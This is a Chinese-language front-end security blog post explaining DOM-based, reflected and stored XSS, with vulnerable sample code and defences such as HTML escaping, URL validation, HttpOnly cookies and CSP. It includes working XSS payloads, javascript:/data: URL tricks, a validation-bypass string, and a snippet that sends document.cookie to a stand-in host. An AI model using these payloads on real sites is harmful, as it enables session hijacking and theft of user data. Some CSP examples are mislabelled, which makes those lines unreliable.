web前端技术

安全攻防之XSS

2021-05-22  本文已影响0人  JyLie

原文

持续更新...

前言

在万物互联的时代,数据安全与个人隐私受到前所未有的挑战,各种攻防策略层出不穷,深入了解攻防底层的原理刻不容缓。本文旨在将日常开发上遇见的问题作总结,通过不断补全安全攻防方面的知识,形成对安全攻防体系有良好的运用。

XSS (Cross-Site Scripting)

XSS 指跨站脚本攻击,因为缩写和 CSS 重叠,所以被叫 XSS。

XSS 分类

XSS 根据恶意脚本的传递方式可以分为 3 类:

前面两种恶意脚本都会经过服务器端然后返回给客户端,相对 DOM 型来说比较好检测与防御,而 DOM 型不用将恶意脚本传输到服务器再返回客户端,只需要直接在客户端执行恶意代码来达到目的。

DOM-XSS

在了解 DOM-XSS 前先了解什么是 DOM,因为 DOM-XSS 是基于 DOM 来操纵攻击的。

DOM 指 文档对象模型 (Document Object Model)是 HTML 和 XML 文档的编程接口。DOM 实际是 将文档解析为一个由节点(node)和对象(包含属性和方法的对象)组成的结构集合,即节点树(NodeTree)。

对于浏览器来说,DOM 文档就是一份 XML 文档,当 W3C 规范 DOM 标准后,通过 JavaScript 就可以轻松的使用 DOM API 访问 element 了。

原理

通过 URL 向客户端注入恶意代码。主要是诱导用户访问自己构造的 URL 来实现,2020年测试DOM-XSS时,发现最新版本现代浏览器基本对齐免疫

DOM-XSS 的优势

常见场景

innerHTML|outerHTML

对需要插入 DOM element 的场景,当入手源代码可执行恶意代码时,如在输入框输入<svg/onload=alert(1)>

innerHTML|outerHTML类型的还有 document.write() 、 document.URL.indexOf("id=")。 indexOf 获取 url 里面的参数,然后通过 writeln( )或者 write( )输出到 HTML,造成 xss。

<div id="box"></div>
<input type="text" id="inp" />
<input id="btn" type="button" value="发送消息" name="" />
<img src="http:www.xxx.com/xx.jpg" onload="http://www.hack.com/?cookie=xxx" onerror="while(true){console.log(1)}" />
<script>
  var box = document.querySelector('#box'),
    inp = document.querySelector('#inp'),
    btn = document.querySelector('#btn');
  btn.addEventListener('click', function () {
    var msg = Date.now() + ':' + inp.value + '<br>';
    box.innerHTML = box.innerHTML + msg;
  });
  // document.write();
  var hash = location.search.slice(1);
  document.write(hash);
</script>

当输入正常文本时,DOM 会正常显示,如:输入Hello world, box 显示 Hello world

当输入恶意代码时,可能会造成用户数据被盗或程序奔溃,如:

输入:<svg/onload=alert(1)>
浏览器会显示一个alert(1)弹窗

输入:<img src="http:www.xxx.com/xx.jpg" onload="http://www.hack.com/?cookie=xxx" onerror="while(true){console.log(1)}" />
那么会出现一个恐怖的结果,如果图片加载失败浏览器会被死循环弄崩溃,如果图片加载成功者用户cookie会被恶意盗取

幸好随着科技的进步,现代浏览器已经对 alert 这种操作免疫了,但 ie 仍然沦陷,并且对类似上述图片的操作浏览器还不能起到的自我保护,所以开发者要打起十二分精神呀。

// 分享一份常用JavaScript字符转义
/**
 * 用于文本输入栏,将符号替换成转义字符
 * @param {String} str
 */
export const escapeHTML = (str) =>
  str.replace(
    /[&<>'"]/g,
    (tag) =>
      ({
        '&': '&amp;',
        '<': '&lt;',
        '>': '&gt;',
        "'": '&#39;',
        '"': '&quot;',
      }[tag] || tag)
  );

/**
 * 用于文本输入栏,将符号替换成转义字符
 * @param {String} str
 */
export const unescapeHTML = (str) =>
  str.replace(
    /&amp;|&lt;|&gt;|&#39;|&quot;/g,
    (tag) =>
      ({
        '&amp;': '&',
        '&lt;': '<',
        '&gt;': '>',
        '&#39;': "'",
        '&quot;': '"',
      }[tag] || tag)
  );
数据存储

localStorageSessioinStoragecookies储存源中取数据,开发者往往认为从上述数据库获得的值是安全的,因此忽略对值进行处理。

<div id="storage">storage:</div>
<input type="text" id="inp" />
<input id="btnStorage" type="button" value="storage" name="" />
<script>
  var storage = document.querySelector('#storage'),
    inp = document.querySelector('#inp'),
    btnStorage = document.querySelector('#btnStorage');
  btnStorage.addEventListener('click', function () {
    var msg = inp.value + '<br>';
    localStorage.setItem('name', msg);
    box.innerHTML = localStorage.name;
  });
</script>

可见只要攻击者在网页的localStorageSessioinStoragecookies等上的字段设置了恶意代码,在下一次访问值时即可收到攻击,因此建议在设置值或获取值时要对内容做字符转义处理。此外还有 document.referrer,window.name,postMessage 都值得关注,也容易造成 Dom xss,触发点不同,document.referrer 可能需要从上一页 / 上面的 url,才能触发。

反射型(非持久型) xss

非持久型 XSS 漏洞,一般是通过给别人发送带有恶意脚本代码参数的 URL,当 URL 地址被打开且参数被赋值执行时,恶意代码就会被 HTML 解析、执行。

原理

带有恶意代码参数的 URL 被用户点击后,用户数据被恶意代码盗取。

特征

防御

常见场景

页面跳转

当看到页面跳转可引起 DOM-XSS 时,是否会有一种摸不到脑袋呢。正常情况使用 hash 去实现页面跳转时,由于 hash 后部分参数可控,当攻击者在 url 上使用 伪协议 时,由于 hash 参数不会传入到服务器,从而避免了 WAF 的检测,而这时带有伪协议的恶意脚步在浏览器被 执行,从而达到攻击目的。

常见 伪协议javascript:vbscript:data:。且现在的移动端(android 和 ios)可以自定义这种协议 sechme 从浏览器打开本地 app。

var hash = location.hash;
if (hash) {
  var url = hash.substring(1);
  location.href = url;
}

// url的hash上设置 #javascript:alert(1) 时会有alert(1)弹窗
// IE下使用#vbscript:msgbox(IE)
// data: 格式为: #data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

// #javascript:(location.href=http://www.baidu.com); 则浏览器跳转到百度

对于需要使用 URL 参数或输入框(input/textarea)内容来实现跳转的情况,须对内容进行正则匹配判断是否合法 http(s)。同时切记使用 indexOf 判断是否合法 http(s),因为只需稍加改造javascript:alert(1)//http://cos.top15.cn即可绕过 indexOf 判断的合法性。

/**
 * 验证合法https(或ip)
 * @param { string } value
 */
export const isHttp = (value) => /^((ht|f)tps?:\/\/)/.test(value);

/*
 * 错误示例:
 * url构造javascript:alert(1)//http://www.baidu.con即可绕过判断
 */
var t = location.search.slice(1); // 变量t取url中?之后的部分
if (t.indexOf('url=') > -1 && t.indexOf('http') > -1) {
  // 限定传入url中要带有indexOf的关键词
  var pos = t.indexOf('url=') + 4; // 往后截取
  url = t.slice(pos, t.length);
  location.href = url; // 跳转
}
eval()

使用 eval()声明变量或函数,且来源是用户可控参数。

eval("var x = '" + location.search + "'");
console.log('eval() get: ', JSON.stringify(x));

存储型(持久型) XSS

存储型 XSS 是最危险的一种跨站脚本,因为它不需要用户手动触发,相比反射型 XSS 和 DOM 型 XSS 具有更高的隐蔽性,所以危害更大。

允许用户存储数据的 web 程序都可能存在存储型 XSS 漏洞,当攻击者提交一段 XSS 恶意代码后,客户端没有转义处理,且被服务器端接收并存储到数据库后,当有用户访问需要加载含有恶意代码数据的页面时,用户就会被 XSS 攻击。若攻击对象时后台服务器或数据库时,网站服务则会出现宕机或用户数据泄露的风险。

原理

攻击者发现存储型 XSS 后向数据库发送恶意代码并保存,下次用户浏览对应页面即可产生 XSS 攻击,并获取用户数据。

攻击成立条件:

特征

防御

设置 HttpOnly

服务器在请求时在 cookie 中设置 HttpOnly 属性,设置 HttpOnly 后 js 脚本将无法读取到 cookie 信息,是预防 XSS 攻击窃取用户 cookie 最有效的防御手段。

// koa
ctx.cookies.set(name, value, {
  httpOnly: true, // 默认为 true
});
过滤数据源

这不仅是前端负责,后端也要做相同的过滤检查。

CSP

CSP(Content-Security-Policy) 本质上是建立浏览器允许动作白名单。开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击,但是像使用 vuejs 构建网站时需要使用 vuejs 的 CSP 版本,因为 CSP 是天然禁用 eval(),with(){}的使用。

通常可以通过两种方式来开启 CSP:

对于 HTTP Header,需要正确配置页面需要的内容,如下:

只允许加载本站资源

Content-Security-Policy: default-src 'self'

只允许加载 HTTPS 协议图片

Content-Security-Policy: img-src https://\*

允许加载任何来源框架

Content-Security-Policy: child-src 'none'

常见情“

留言板

向留言板输入恶意代码提交大服务器的数据库,刷新留言板即可执行恶意代码。

<!-- 恶意代码 -->
<script>
  var img = document.createElement('img');
  img.src = 'http://www.xss.com?cookie=' + document.cookie;
  img.style.display = 'none';
  document.getElementsByTagName('body')[0].appendChild(img);
</script>

用户的登录凭证存储于服务器的 session 中,同时浏览器的 cookie 中也有存储备份。如果攻击者能获取到用户登录凭证的 Cookie,即可绕开登录流程来访问用户的账号了。

CSRF

CSRF(Cross-Site Request Forgeries)即跨站点请求伪造,也被称为 one-click attack 或者 session riding。它利用用户已登录的身份,在用户不知情的情况下,完成一些违背用户意愿的事情,如:修改用户信息,删初评论等。

待更新

如有纰漏请大佬指正如果喜欢本文请点赞支持(^_−)☆

参考文档


上一篇下一篇

猜你喜欢

热点阅读